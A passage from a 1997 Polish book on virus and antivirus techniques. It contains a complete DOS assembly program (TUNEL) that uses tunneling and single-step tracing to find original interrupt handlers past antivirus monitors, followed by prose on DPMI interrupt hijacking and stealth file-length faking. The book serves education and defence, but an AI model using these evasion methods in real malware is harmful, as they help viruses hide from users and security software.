dysków) w ROM-BIOS można zastosować funkcję (13/2F), która służy do ustawiania
nowej procedury obsługi dysków. Po jej wywołaniu dodatkowo zwracana jest informacja
o obecnej i pierwotnej (oryginalnej) procedurze obsługi tego przerwania [dokładniej:
zwracane są wartości parametrów z poprzedniego wywołania funkcji (13/2F)]. Funkcję tę
wykorzystuje IO.SYS przy starcie sy
stemu, aby przejąć kontrolę nad różnymi błędami pojawiającymi się przy dostępie do
dysków. To, że potrzebuje ona parametrów wejściowych, można pominąć, gdyż jej
dwukrotne wywołanie przywraca oryginalne ustawienia systemu. Poniższa sekwencja
pokazuje, jak za pomocą opisanej funkcji znaleźć oryginalny (o ile nie jest on
kontrolowany przez program antywirusowy) adres int 13h w ROM-BIOS-ie:
; Trik 2F/13
MOV AH,13h ; funkcja - ustaw obs│ugŕ dyskˇw DS:DX
adres

; procedury obs│ugi (mo┐na pomin╣Š gdy┐ za

; chwilŕ i tak zostanie przywrˇcona w│aťciwa

; procedura obs│ugi). ES:BX adres
procedury, ktˇra system
; bŕdzie ustawia│ jako procedurŕ obs│ugi
przerwania nr 13h

; przy ewentualnym zawieszeniu systemu lub po

wywo│aniu

; int 19h (tak┐e mo┐na pomin╣Š)

INT 2Fh ; wywo│aj funkcjŕ 13h

; po wywo│aniu ES:BX zwraca adres procedury,

ktˇra system

; ustawi jako int 13h w wy┐ej wymienionych

wypadkach, czyli

; zwykle bŕdzie to oryginalna procedura

obs│ugi przerwania
13h MOV SEG_13,ES ; trzeba zapamiŕtaŠ adres oryginalnej
procedury obs│ugi
MOV OFS_13,BX ; intl3h, znajduj╣cej siŕ w ES:BX
MOV AH,13h ; funkcja - ustaw obs│ugŕ dyskˇw DS:DX i
ES:BX to wartoťci

; z poprzedniego wywo│ania funkcji (13/2F)

INT 2Fh ; wywo│aj funkcjŕ 13h

Poniższy program znajduje (o ile to możliwe) wejścia do przerwań 21h, 13h, 2Fh, z
wykorzystaniem różnych technik tunelingowych-

;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; TUNEL v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Program demonstruje uzycie kilku odmian tunelingu
;
; do znalezienia oryginalnych adresow przerwan
;
; - 13h (trik 2F/13, tryb krokowy)
;
; - 21h (tablica stalych adresow, tryb krokowy, tuneling
rekursywny) ;
; - 2Fh (tablica stalych adresow)
;
;
;
; Kompilacja :
;
; TASM TUNEL.ASM
;
; TLINK /t TUNEL.OBJ
;
;
;
;----------------------------------------------------------------
------------;
;
NUL = 00h ; \
LF = 0Ah ; - stale potrzebne do
deklaracji
CR = 0Dh ; / lancuchow napisowych

ON = 001h ; \ stale potrzebne do

obslugi
OFF = 002h ; / przerwania 1

PROG segment ; segment kodu i danych

ORG 100h ; program jest typu COM

Assume CS:PROG, DS:PROG, ES:PROG, SS:PROG

CodeStart: ; tu zaczyna sie program

lea si,TeCopyRight ; \ pokaz info o
programie
Call Print ; /

Call GetOriginal13 ; pokaz oryginalny adres
13h

Call GetOriginal21 ; pokaz oryginalny adres
21h

Call GetOriginal2F ; pokaz oryginalny adres
21h

mov ax, 4C00h ; \ koncz program i
powroc do DOSa
int 21h ; /

GetOriginal13 proc near ; procedura pobiera
oryginalny adres
; Int 13h (na dwa
sposoby) i wyswietla
; go
push si ; zachowaj zmieniany
rejestr

lea si,TeGet13 ; \ pokaz info o
przerwaniu 13h
Call Print ; /

Call Trik2F13 ; wez adres 13h
; metoda Trik 2F/13
Call ShowAddr ; pokaz adres 13h

Call Tracing13 ; wez adres 13h
; metoda tracingu
Call ShowAddr ; pokaz adres 13h

pop si ; przywroc zmieniany
rejestr

ret ; powrot z procedury

GetOriginal13 endp

Trik2F13 proc near ; procedura pobiera
oryginalny adres
; Int 13h wykorzystujac
funkcje 13h
; przerwania 2Fh
; (wewnetrzna funkcja
DOS)
push ds ; \
push es ; \
push ax ; \ zachowaj zmieniane
rejestry
push bx ; /
push dx ; /
push si ; /

lea si,TeTrik2F13 ; \ pokaz info o metodzie
Call Print ; / Trik 2F/13h

xor ax,ax ; \ zeruj zmienne
pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /

mov ah,13h ; \
int 2Fh ; \
; \
mov cs:ShowSeg,es ; \ trik 2F/13
mov cs:ShowOFS,bx ; /
; /
mov ah,13h ; /
int 2Fh ; /

pop si ; \
pop dx ; \
pop bx ; \ przywroc zmieniane
rejestry
pop ax ; /
pop es ; /
pop ds ; /

ret ; powrot z procedury

Trik2F13 endp

Tracing13 proc near ; procedura popbiera
oryginalny
; adres Int 13h,
wykorzystujac
; metode tracingu

push ds ; \
push es ; \
push ax ; \ zachowaj zmieniane

rejestry
push bx ; /
push cx ; /
push dx ; /
push si ; /

mov ShowError, offset TeTracingFail
; ewentualny komunikat o
bledzie

lea si,TeTracing13 ; \ wyswietl info o
metodzie
Call Print ; /

xor ax,ax ; \ zeruj zmienne
pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /

mov ah,8 ; \ pobierz info o
twardym dysku
mov dl,80h ; \ i zachowaj na
pozniej wartosci
int 13h ; / rejestrow CX i DX;
beda one
mov MagicNum1,cx ; / potrzebne do
sprawdzenia czy
mov MagicNum2,dx ; / tracer jest juz w
dobrym kodzie

mov ax,3513h ; \ wez adres
przerwania Int 13h,
int 21h ; \ zeby mozna je bylo
przetrace'owac,
mov CallFarSeg,es ; / trzeba je emulowac
poprzez
mov CallFarOfs,bx ; / pushf/call dword
ptr Ofs:Seg

mov TraceMode,OFF ; flaga potrzebna
tracerowi

mov ax,3501h ; \ pobierz adres
obslugi
int 21h ; \ przerwania
krokowego Int 1
mov of1,bx ; \
mov se1,es ; \ i ustaw nowa
procedure jego
; - obslugi,
sprawdzajaca, czy
mov dx,offset Tracer_13 ; / funkcja zostala
juz wykonana
mov ax,2501h ; / przez BIOS

int 21h ; /

pushf ; \ wlacz tryb krokowy
pop ax ; \ procesora
or ah,1 ; \
push ax ; /
popf ; /

mov dl,80h ; parametr funkcji 08/int
13h = HD0
mov ah,08h ; numer funkcji BIOS
pushf ; czesc emulacji Int 13
mov TraceMode,ON ; wlacz flage tracera
Call dword ptr cs:IntAsFarCall
; emuluj int 13
mov TraceMode,OFF ; wylacz flage tracera

pushf ; \ wylacz tryb
krokowy
pop ax ; \ procesora
and ah,0FEH ; \
push ax ; /
popf ; /

lds dx,dword ptr cs:of1 ; \ przywroc stary adres
przerwania
mov ax,2501h ; / krokowego Int 1
int 21h ; /

pop si ; \
pop dx ; \
pop cx ; \ przywroc zmieniane
rejestry
pop bx ; /
pop ax ; /
pop es ; /
pop ds ; /

ret ; powrot z procedury

Tracing13 endp

Tracer_13 proc far

push bp ; zachowaj zmieniany
rejestr

mov bp,sp ; BP wskazuje na stos
; [bp+00] BP
; [bp+02] IP
; [bp+04] CS
; [bp+06] FLAGS

push ax ; zachowaj zmieniany

rejestr

cmp cs:TraceMode,ON ; czy wlaczony tracer ?
jne Tracer_13Exit ; jesli nie, to wyskocz z
procedury

mov ax,[bp+04] ; AX=CS image
cmp ax,cs:ShowSeg ; czy segment kodu ten
sam
je OldSeg13 ; tak=wyskocz procedury

; nie=zachowaj nowy adres
seg:ofs
mov cs:ShowSeg,ax ; AX=CS image
mov ax,[bp+02] ; AX=IP image
mov cs:ShowOfs,ax

OldSeg13:
cmp cx,cs:MagicNum1 ; \
jne Tracer_13Exit ; \ czy funkcja sie juz
wykonala ?
cmp dx,cs:MagicNum2 ; / nie=wyskocz z
procedury
jne Tracer_13Exit ; /

mov cs:TraceMode,OFF ; tak=wylacz tracer, bo
adres
; znaleziony
Tracer_13Exit: ; koniec przerwania Int 1

pop ax ; przywroc zmieniany
rejestr

or byte ptr [bp+7],1 ; [bp+06] FLAGS , ustaw
; bit TF dla nastepnego
rozkazu
; wykonywanego po IRET

pop bp ; przywroc zmieniany
rejestr

iret ; powrot z przerwania Int
1

Tracer_13 endp

GetOriginal21 proc near

push si ; zachowaj zmieniany
rejestr

lea si,TeGet21 ; \ pokaz info o
przerwaniu 21h
Call Print ; /

Call LookUpTable21 ; wez adres 21h
; tablica stalych adresow
Call ShowAddr ; pokaz adres 21h

Call Recursive21 ; wez adres 21h
; metoda tunelingu
rekursywnego
Call ShowAddr ; pokaz adres 21h

Call Tracing21 ; wez adres 21h
; metoda tracingu (tryb
krokowy)
Call ShowAddr ; pokaz adres 21h

pop si ; przywroc zmieniany
rejeetr

ret ; powrot z procedury

GetOriginal21 endp

LookUpTable21 proc near

push es ; \
push ax ; \ zachowaj zmieniane
rejestry
push bx ; /
push si ; /

lea si,TeLookUpTable21 ; \ wyswietl info o
metodzie
Call Print ; /

xor ax,ax ; \ zeruj zmienne
pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /

mov ShowError, offset TeLookUpTableFailDOSVer
; ewentualny komunikat o
bledzie

mov ah,30h ; \ wez wersje DOS
int 21h ; /
xchg al,ah ; ax=wersja DOS,
ah=major,al=minor

mov bx,109Eh ; ofset dla DOS 5.0 -
6.22

cmp ax,0500h ; wersja musi byc wieksza
od 5.00
jb LookUpTable21_Exit ; mniejsza=tuneling nie

zadziala

cmp ax,0622h ; dla wersji wiekszej od
6.22
jbe DOSVerOk21 ; jest inny ofset

mov bx,0FB2h ; ofset dla DOS >6.22
(np. 7.0)

DOSVerOk21: ; ofset ustawiony
push bx ; zachowaj go na stosie

mov ah,52h ; \ pobierz do ES:BX
adres struktury
int 21h ; / LL (lista list)

pop bx ; przywroc ze stosu ofset
do skoku

mov ShowError, offset TeLookUpTableFailBadOfs
; ewentualny komunikat o
bledzie

; czy pod ES;BX jest
sekwencja
; 90 lub EB NOP \JMP
$+3
; 90 lub 03 NOP /
; E8 xx xx CALL
NEAR [IP+xxxx]
; 2E FF 2E yyyy JMP FAR
CS:[yyyy] ?
cmp word ptr es:[bx],9090h
je FirstCodeOK21 ; skocz, gdy sa 2 NOPy

cmp word ptr es:[bx],03EBh
jne LookUpTable21_Exit ; skocz, gdy JMP $+3

FirstCodeOK21:
cmp byte ptr es:[bx+2],0E8h ;
jne LookUpTable21_Exit ; skocz, gdy nie ma CALL
xxxx

cmp word ptr es:[bx+5],0FF2Eh
jne LookUpTable21_Exit ; skocz, gdy nie ma
czesci rozkazu jmp far

cmp byte ptr es:[bx+7],02Eh ;
jne LookUpTable21_Exit ; skocz, gdy nie ma
czesci rozkazu jmp far

mov bx,word ptr es:[bx+8] ; \ pobierz [yyyy]=adres
oryginalnej procedury
les bx,dword ptr es:[bx] ; /

mov ShowSeg,es ; przepisz segment i
offset
mov ShowOfs,bx ; potrzebne do
wyswietlenia adresu

LookUpTable21_Exit: ; skacz tu, gdy jakis
blad

pop si
pop bx ; \
pop ax ; - przywroc zmieniane
rejeetry
pop es ; /

ret ; powrot z procedury

LookUpTable21 endp

Recursive21 proc near

push es ; \
push ds ; \
push ax ; \ zachowaj zmieniane
rejestry
push bx ; /
push si ; /
push di ; /

lea si,TeRecursive21 ; \ wyswietl info o
metodzie
Call Print ; /

mov ShowError, offset TeRecursive21Fail
; ewentualny komunikat o
bledzie

xor ax,ax ; \ zeruj zmienne
pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /

mov ah,52h ; \ pobierz do ES:BX
adres struktury
int 21h ; / LL (lista list)
mov bx,es

xor ax,ax ; ustaw adres DS:SI na
adres
mov ds,ax ; przerwania 21h
wskazywanego
mov si,21h*4 ; przez tablice przerwa˝
xchg ax,di ; DI=licznik sprawdzanych
bajtow=0

Adres32:
lds si,ds:[si] ; pobierz adres

or bx,bx ; czy koniec szukania ?
jz WSegmencieDOS ; TAK - powrot
DS:SI=adres

mov ax,ds ; \ czy jest to segment
DOS ?
cmp ax,bx ; /

jne NastepnyBajt ; TAK - znaleziony adres
xor bx,bx ; BX=0 oznacza koniec
szukania

NastepnyBajt:
lodsw ; wez 2 bajty bedace
czescia
; aktualnej procedury
dec si ; sprawdzamy co bajt

cmp al,9Ah ; czy jest to CALL FAR
PTR ?
je Adres32 ; TAK - wez kolejny adres

cmp al,0EAh ; czy jest to JMP FAR PTR
?
je Adres32 ; TAK - wez kolejny adres

cmp ax,0FF2Eh ; czy jest to JMP FAR
CS:DWORD ?
jne NieJMP_DWORD ;

cmp byte ptr [si+1],al ; czy dalsza czesc
rozkazu JMP FAR CS:DWORD ?
jne NieJMP_DWORD ;

mov si,ds:[si+2] ; pobierz ofset do danych
dla skoku
jmp short Adres32 ; TAK - wez kolejny adres

NieJMP_DWORD:

inc DI ; licznik sprawdzanych
bajtow
and DI,4095 ; jezeli sprawdzono juz >
4095 bajtow,
je Recursive21_Exit ; to koncz, bo tuneling
nie dziala

jmp NastepnyBajt ; wez kolejny bajt

WSegmencieDOS:
; adres zostal znaleziony
(jest w DS:SI)

mov cs:ShowSeg,ds ; przepisz segment i
offset
mov cs:ShowOfs,si ; potrzebne do
wyswietlenia adresu

Recursive21_Exit: ; skacz tu, gdy jakis
blad

pop di ; \
pop si ; \
pop bx ; \ przywroc zmieniane
rejeetry
pop ax ; /
pop ds ; /
pop es ; /

ret ; powrot z procedury

Recursive21 endp

Tracing21 proc near ; procedura popbiera
oryginalny
; adres Int 13h
wykorzystujac
; metode tracingu

push ds ; \
push es ; \
push ax ; \ zachowaj zmieniane
rejestry
push bx ; /
push cx ; /
push dx ; /
push si ; /

mov ShowError, offset TeTracingFail
; ewentualny komunikat o
bledzie

lea si,TeTracing21 ; \ wyswietl info o
metodzie
Call Print ; /

xor ax,ax ; \ zeruj zmienne
pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /

mov ah,62h ; \ pobierz info o
aktualnym PSP

int 21h ; \ i zachowaj na
pozniej te wartosc
mov MagicNum1,bx ; / (rejestr BX) bedzie
ona
; / potrzebna, zeby
sprawdzic, czy
; / tracer jest juz w
dobrym kodzie
mov ax,3521h
int 21h ; \ wez adres
przerwania Int 21h,
mov CallFarSeg,es ; \ zeby mozna je bylo
przetrace'ow
mov CallFarOfs,bx ; / trzeba je emulowac
poprzez
; / pushf/call dword
ptr Ofs:Seg

mov TraceMode,OFF ; flaga potrzebna dla
tracera

mov ax,3501h ; \ pobierz adres
obslugi
int 21h ; \ przerwania
krokowego Int 1
mov of1,bx ; \
mov se1,es ; \ i zmien je na nowa
procedure
; - obslugi,
sprawdzajaca czy
mov dx,offset Tracer_21 ; / funkcja zostala
juz wykonana
mov ax,2501h ; / przez DOS
int 21h ; /

pushf ; \ wlacz tryb krokowy
pop ax ; \ procesora
or ah,1 ; \
push ax ; /
popf ; /

mov ah,62h ; numer funkcji DOS
pushf ; czesc emulacji Int 21
mov TraceMode,ON ; wlacz flage tracera
Call dword ptr cs:IntAsFarCall ; emuluj int 21
mov TraceMode,OFF ; wylacz flage tracera

pushf ; \ wylacz tryb
krokowy
pop ax ; \ procesora
and ah,0FEH ; \
push ax ; /
popf ; /
; \ przywroc stary adres

przerwania
lds dx,dword ptr cs:of1 ; / krokowego Int 1
mov ax,2501h ; /
int 21h

pop si ; \
pop dx ; \
pop cx ; \ przywroc zmieniane
rejestry
pop bx ; /
pop ax ; /
pop es ; /
pop ds ; /

ret ; powrot z procedury

Tracing21 endp

Tracer_21 proc far

push bp ; zachowaj zmieniany
rejestr

mov bp,sp ; BP wskazuje na stos
; [bp+00] BP
; [bp+02] IP
; [bp+04] CS
; [bp+06] FLAGS

push ax ; zachowaj zmieniany
rejestr

cmp cs:TraceMode,ON ; czy wlaczony tracer ?
jne Tracer_21Exit ; jesli nie, to wyskocz z
procedury

mov ax,[bp+04] ; AX=CS instrukcji
cmp ax,cs:ShowSeg ; czy segment kodu ten
sam
je OldSeg21 ; tak=wyskocz procedury

mov cs:ShowSeg,ax ; nie=zachowaj nowy adres
seg:ofs
mov ax,[bp+02] ; AX=CS instrukcji
mov cs:ShowOfs,ax ; AX=IP instrukcji

OldSeg21:
cmp bx,cs:MagicNum1 ; \
jne Tracer_21Exit ; \ czy funkcja juz sie
wykonala ?
; / nie=wyskocz z
procedury
mov cs:TraceMode,OFF ; / tak=wylacz tracer,
bo adres

; / znaleziony

Tracer_21Exit: ; koniec przerwania Int 1

pop ax ; przywroc zmieniany
rejestr

or byte ptr [bp+7],1 ; [bp+06] FLAGS, ustaw
; bit TF dla nastepnego
rozkazu
; wykonywanego po IRET

pop bp ; przywroc zmieniany
rejestr

iret ; powrot z przerwania Int
1

Tracer_21 endp

GetOriginal2F proc near

push si ; zachowaj zmieniany
rejestr

lea si,TeGet2F ; \ pokaz info o
przerwaniu 2Fh
Call Print ; /

Call LookUpTable2F ; wez adres 2Fh
; tablica stalych adresow
Call ShowAddr ; pokaz adres 21h

pop si ; przywroc zmieniany
rejestr

ret ; powrot z procedury

GetOriginal2F endp

LookUpTable2F proc near

push es ; \
push ax ; \ zachowaj zmieniane
rejestry
push bx ; /
push si ; /

lea si,TeLookUpTable2F ; \ wyswietl info o
metodzie
Call Print ; /

xor ax,ax ; \ zeruj zmienne

pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /

mov ShowError, offset TeLookUpTableFailDOSVer
; ewentualny komunikat o
bledzie

mov ah,30h ; \ wez wersje DOS
int 21h ; /
xchg al,ah ; ax=wersja DOS,
ah=major,al=minor

mov bx,10C6h ; ofset dla DOS 5.0 -
6.22

cmp ax,0500h ; wersja musi byc wieksza
od 5.00
jb LookUpTable2F_Exit ; mniejsza=tuneling nie
zadziala

cmp ax,0622h ; dla wersji wiekszej od
6.22
jbe DOSVerOk2F ; jest inny ofset

mov bx,0FDAh ; ofset dla DOS >6.22
(np. 7.0)

DOSVerOk2F: ; ofset ustawiony
push bx ; zachowaj go na stosie

mov ah,52h ; \ pobierz do ES:BX
adres struktury
int 21h ; / LL (lista list)

pop bx ; przywroc ze stosu ofset
do skoku

mov ShowError, offset TeLookUpTableFailBadOfs
; ewentualny komunikat o
bledzie

; czy pod ES;BX jest
sekwencja
; 90 lub EB NOP \JMP
$+3
; 90 lub 03 NOP /
; E8 xx xx CALL
NEAR [IP+xxxx]
; 2E FF 2E yyyy JMP FAR
CS:[yyyy] ?
cmp word ptr es:[bx],9090h
je FirstCodeOK2F ; skocz, gdy sa 2-a NOPy

cmp word ptr es:[bx],03EBh
jne LookUpTable2F_Exit ; skocz, gdy JMP $+3

FirstCodeOK2F:
cmp byte ptr es:[bx+2],0E8h ;
jne LookUpTable2F_Exit ; skocz, gdy nie ma CALL
xxxx

cmp word ptr es:[bx+5],0FF2Eh
jne LookUpTable2F_Exit ; skocz, gdy nie ma
czesci rozkazu jmp far

cmp byte ptr es:[bx+7],02Eh ;
jne LookUpTable2F_Exit ; skocz, gdy nie ma
czesci rozkazu jmp far

mov bx,word ptr es:[bx+8] ; \ pobierz [yyyy]=adres
oryginalnej procedury
les bx,dword ptr es:[bx] ; /

mov ShowSeg,es ; przepisz segment i
ofset
mov ShowOfs,bx ; potrzebne do
wyswietlenia adresu

LookUpTable2F_Exit: ; skacz tu, gdy jakis
blad

pop si
pop bx ; \
pop ax ; - przywroc zmieniane
rejestry
pop es ; /

ret ; powrot z procedury

LookUpTable2F endp

ShowAddr proc near ; wyswietl adres w
postaci
; seg:ofs heksalnie na
podstawie
; zawartosci zmiennych
; ShowSeg i ShowOfs

push ax ; \ zachowaj zmieniany
rejestr
push si ; /

mov si,ShowError ; \ wez adres komunikatu
o ewentualnym
; / bledzie
mov ax,ShowSeg ; czy seg i ofs sa

wyzerowane,
or ax,ShowOfs ; tzn czy nie znaleziono
adresu ?
jz ShowAddrError ; tak=nie znaleziono
adresu

mov ax,ShowSeg ; \ wyswietl segment
Call PrintHexDW ; /

mov al,':' ; \ wyswietl dwukropek
Call PrintChar ; /

mov ax,ShowOfs ; \ wyswietl ofset
Call PrintHexDW ; /

lea si,TeCRLF ; \ wyswietl CR,LF,
ShowAddrError: ; - czyli przejdz do
nastepnego wiersza
Call Print ; / lub komunikat o
bledzie

pop si ; \
pop ax ; / przywroc zmieniany
rejestr

ret ; powrot z procedury

ShowAddr endp

PrintHexDW proc near ; procedura wyswietla
heksalnie
; liczbe zawarta w AX

push ax ; \ zachowaj zmieniane
rejestry
push bx ; /

lea bx,HexChars ; bx wskazuje na tablice
konwersji
; liczb heksadecymalnych
0..F

Call PrintHex ; wyswietl liczbe w AX

pop bx ; \ przywroc zmieniane
rejestry
pop ax ; /

ret ; powrot z procedury

PrintHexDW endp

PrintHex proc near

push ax ; zachowaj mlodsza czesc
adresu

mov al,ah ; AL=starsza czesc adresu
Call PrintHexDB ; wyswietl starsza czesc
adresu

pop ax ; przywroc mlodsza czesc
adresu

PrintHexDB: ; wyswietl czesc adresu z
al

mov ah,al ; zachowaj na chwile te
czesc

shr al,1 ; \ wyswietl starsza
czesc bajtu
shr al,1 ; \ al przesuniete o 4
w prawo
shr al,1 ; \
shr al,1 ; /
xlat byte ptr cs:[bx] ; / al=[bx+al]
Call PrintChar ; / wyswietl znak w AL

mov al,ah ; \ wyswietl mlodsza
czesc bajtu
and al,15 ; \ al zamaskowane z
00001111b
xlat byte ptr cs:[bx] ; / al=[bx+al]
Call PrintChar ; / wyswietl znak w AL

ret ; powrot z procedury
PrintHex endp

Print proc near ; procedura wyswietla
tekst ASCIIZ
; spod adresu CS:SI

push ax ; \ zachowaj zmieniane
rejestry
push si ; /

GetNextChar:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem
jz PrintExit ; tak=koniec napisu;
wyjdz z petli
Call PrintChar ; nie=wyswietl znak w AL
;
jmp short GetNextChar ; i wez nastepny znak

PrintExit:
pop si ; \ przywroc zmieniane

rejestry
pop ax ; /

ret ; powrot z procedury

Print endp

PrintChar proc near ; procedura wyswietla
znak w AL

push ax ; zachowaj zmieniany
rejestr

mov ah,0Eh ; funkcja BIOS
int 10h ; wyswietl znak w AL

pop ax ; przywroc zmieniany
rejestr

ret ; powrot z procedury

PrintChar endp

TeCopyRight:
db CR,LF,'TUNEL v1.0, Autor : Adam Blaszczyk
1997',NUL

TeGet13 db CR,LF,'Adres oryginalnej procedury 13h : '
db CR,LF,NUL

TeGet21 db CR,LF,'Adres oryginalnej procedury 21h : '
db CR,LF,NUL
TeGet2F db CR,LF,'Adres oryginalnej procedury 2Fh : '
TeCRLF db CR,LF,NUL

TeTrik2F13 db ' _ trik Int 2Fh/13h :=
',NUL
TeTracing13 db ' _ tracing 13h :=
',NUL

TeLookUpTable21 db ' _ tablica stalych adresow 21h :=
',NUL
TeRecursive21 db ' _ tuneling rekursywny 21h :=
',NUL
TeTracing21 db ' _ tracing 21h :=
',NUL

TeLookUpTable2F db ' _ tablica stalych adresow 2Fh :=
',NUL

TeLookUpTableFailBadOfs db 'Blad : Zla kombinacja kodu',CR,LF,NUL
TeLookUpTableFailDOSVer db 'Blad : Wersja DOS musi byc
>5.0',CR,LF,NUL

TeTracingFail db 'Blad : Tracing nie dziala',CR,LF,NUL
TeRecursive21Fail db 'Blad : Tuneling rekursywny nie
dziala',CR,LF,NUL

HexChars db '0123456789ABCDEF'

ShowSeg dw ? ; zmienne pomocnicze do
zachowywania
ShowOfs dw ? ; znalezionego adresu

ShowError dw ? ; zmienna dla
ewentualnych bledow

of1 dw ? ; zmienne potrzebne do
zachowywania
se1 dw ? ; adresu Int 1

IntAsFarCall label dword ; adres dalekiej
procedury sluzacej do
CallFarOfs dw ? ; emulacji instrukcji INT
CallFarSeg dw ?

TraceMode db ? ; flaga ON=wlaczony/OFF=
wlaczony tracer

MagicNum1 dw ? ; zmienne pomocnicze do
przechowywania
MagicNum2 dw ? ; wartosci potrzebnych do
sprawdzenia czy
; jestesmy juz we
wlasciwym kodzie DOS/BIOS

PROG ends ; koniec segmentu kodu i
danych
end CodeStart ; koniec programu,
pierwsza instrukcja
; pod etykieta CodeStart

6.5. Wykorzystanie trybu chronionego
Tryb chroniony nie jest zbyt często wykorzystywany przez wirusy, jednak kilka z nich
używa go do przejmowania przerwań. Po zainstalowaniu (co wiąże się z przejściem do
trybu chronionego) każde odwołanie do jakiegokolwiek przerwania będzie kierowane
najpierw do wirusa, a dopiero ten przekaże je do oszukiwanego systemu poprzez
chwilowe przejście (ang. redirection) do trybu rzeczywistego (lub trybu V86). Ponadto,
aby utrudnić wykrycie wirusa w pamięci, można po instalacji przenieść jego kod do
pamięci powyżej 1MB.
W przypadku systemu Windows do przejmowania przerwań można wykorzystać fakt, iż
udostępnia on programom usługi specyfikacji DPMI (ang. DOS Protected Mode
Interface).
Do przejmowania przerwań służą funkcje:

> 0200h - odczytanie wektora przerwań trybu rzeczywistego;
> 0201h - zapisanie wektora przerwań trybu rzeczywistego;
> 0202h - odczytanie adresu procedury obsługi wyjątku;
> 0203h - ustawienie adresu procedury obsługi wyjątku;
> 0204h - odczytanie wektora przerwań trybu wirtualnego;
> 0205h - zapisanie wektora przerwań trybu wirtualnego;
Powyższe funkcje są dostępne w trybie chronionym za pośrednictwem przerwania 31h.
Przed ich użyciem należy sprawdzić, czy DPMI jest dostępne, za pomocą funkcji
(1687/2F). Dokładniejsze informacje na temat specyfikacji DPMI oraz trybu chronionego
zawarte są w pozycjach [l] i [6] ze spisu na końcu książki.

6.6. Włączanie się jako program obsługi urządzenia
Jednym z wirusów stosujących tę metodę jest wymieniany już wirus DIR-2. Zamienia on
oryginalną procedurę obsługi dysków poprzez manipulację na strukturach DPB, co
zostało dokładniej omówione przy okazji omawiania wirusów zarażających JAP

ROZDZIAŁ 7

Każdemu twórcy wirusa zależy na tym, aby jego dzieło jak najdłużej pozostawało nie
wykryte przez użytkownika zainfekowanego systemu. Jest to zrozumiałe, gdyż wykrycie
wirusa zwykle kończy się tym, iż w niedługim czasie wpada on w ręce osób piszących
programy antywirusowe, a to owocuje napisaniem szczepionki, za sprawą której wirus
znika wkrótce z wirusowej sceny.
Niniejszy rozdział opisuje kilka najczęściej stosowanych przez wirusy technik ukrywania
się w systemie operacyjnym. Niektóre z nich wymagają stałej obecności wirusa w
pamięci, inne sprowadzają się do wykonania kilku operacji, które niejako na stałe
ukrywają wirusa przed oczyma ciekawskich.

7.1. Technika stealth
Wirusy komputerowe modyfikują pliki i sektory, zmieniając ich zawartość (w przypadku
plików zwykle powiększają jeszcze ich długość). Teoretycznie więc, aby wykryć wirusa,
wystarczy odczytać plik lub sektor i odnaleźć w nim, przy użyciu skaningu, odpowiednią
sekwencję (sygnaturę) wirusa. I rzeczywiście, metoda ta stosowana była z dużym
powodzeniem aż do momentu, gdy pojawił się pierwszy wirus używający techniki
stealth. Słowo stealth znaczy po angielsku niewidzialny. Takimi właśnie wydają się
wirusy używające tej ciekawej sztuczki, która polega na kontroli odpowiednich funkcji
systemu DOS lub BIOS, obsługujących pamięć i operacje dyskowe.
W momencie próby dowolnego dostępu do zainfekowanego pliku lub sektora
uruchamiane są mechanizmy wirusa, które mają na celu oszukanie użytkownika.
Oszustwo polega na tym, iż fizycznie zarażony obiekt, po odpowiedniej obróbce przez
wirusa, wygląda, jakby był nie zainfekowany. Różne odmiany techniki stealth zostały
omówione poniżej.

7.1.1. Podawanie prawdziwych długości plików (ang. semi-stealth)
Wirusy wykorzystujące tę technikę oszukują system poprzez podawanie rzeczywistych
długości zainfekowanych plików, wyświetlanych po wykonaniu polecenia DIR lub też w

oknie programów dos Navi-gator, Norton Commander, XtreeGold, Windows
Commander czy też innych, mniej znanych nakładek.
Wyżej wymienione programy używają do przeszukiwania zawartości katalogu jednej z
trzech par funkcji, z których pierwsza poszukuje pierwszego, a druga kolejnego
wystąpienia w katalogu. Funkcje te to (1142/21), (4E/4F/21), (714E/714F/21).
Oszukujący system wirus przejmuje te funkcje (niekoniecznie 'wszystkie) i monitoruje
odpowiednie pola struktur, na których operuje dana funkcja.
W momencie wykonywania jednej z funkcji wirus wywołuje pierwotny program obsługi
przerwania, a następnie modyfikuje elementy odpowiedniej struktury:
> pozycji katalogu (funkcje 11/12);
> DTA (funkcje 4E/4F);
> FindData (funkcje 714E/714F).
Modyfikacja polega na odjęciu długości wirusa od długości pliku opisywanej w
odpowiednim polu struktury oraz najczęściej jakiejś modyfikacji czasu lub daty,
będących znacznikiem zainfekowania pliku. Powyższe operacje wykonywane są
oczywiście tylko po wykryciu obecności wirusa w znalezionym pliku.

7.1.1.1. Polecenie DIR wywoływane z poziomu DOS
Polecenie DIR używa do przeglądania zawartości katalogu, pary dwóch przeznaczonych
specjalnie do tego celu funkcji (11,12/21). Obie funkcje korzystają z najstarszej metody
operowania na plikach, a mianowicie z tzw. bloku opisu pliku FCB (ang. File Control
Block},
podawanego jako parametr wejściowy do funkcji oraz z pola opisu pozycji katalogu,
zwracanego po jej bezbłędnym wykonaniu w buforze DTA (ang. Disk Transfer Area),
których opis przedstawiono w kolejnych tabelach.
Podczas odwołań do struktury FCB należy pamiętać, iż istnieją dwie wersje opisu bloku
FCB: zwykły i rozszerzony, będący rozwinięciem bloku zwykłego (zawiera dodatkowe
pola). Jeżeli pierwszy bajt bloku jest równy 0FFh, mamy do czynienia z rozszerzonym
blokiem opisu pliku.
Adres aktualnego bufora DTA uzyskuje się za pomocą funkcji (2F/21), która umieszcza
go w rejestrach ES:BX. Po powrocie z funkcji wskazują one bezpośrednio na pole opisu
pozycji katalogu, w którym już bez przeszkód można odpowiednio modyfikować pola
długości pliku (1C-1F) oraz czasu i daty ostatniej modyfikacji (18-19 i 1A-1B).
Struktura bloku opisu pliku FCB (zwykłego)
Adres

Zawartość

numer napędu (0=domyślny, 1=A, B=2,...); jeżeli =OFFh, to rozszerzony blok
opisu pliku FCB

01-08

8 bajtów nazwy pliku

09-0B

3 bajty rozszerzenia pliku

0C-0D

numer aktualnego bloku

0E-0F

długość logicznego rekordu

10-13

długość pliku

14-15

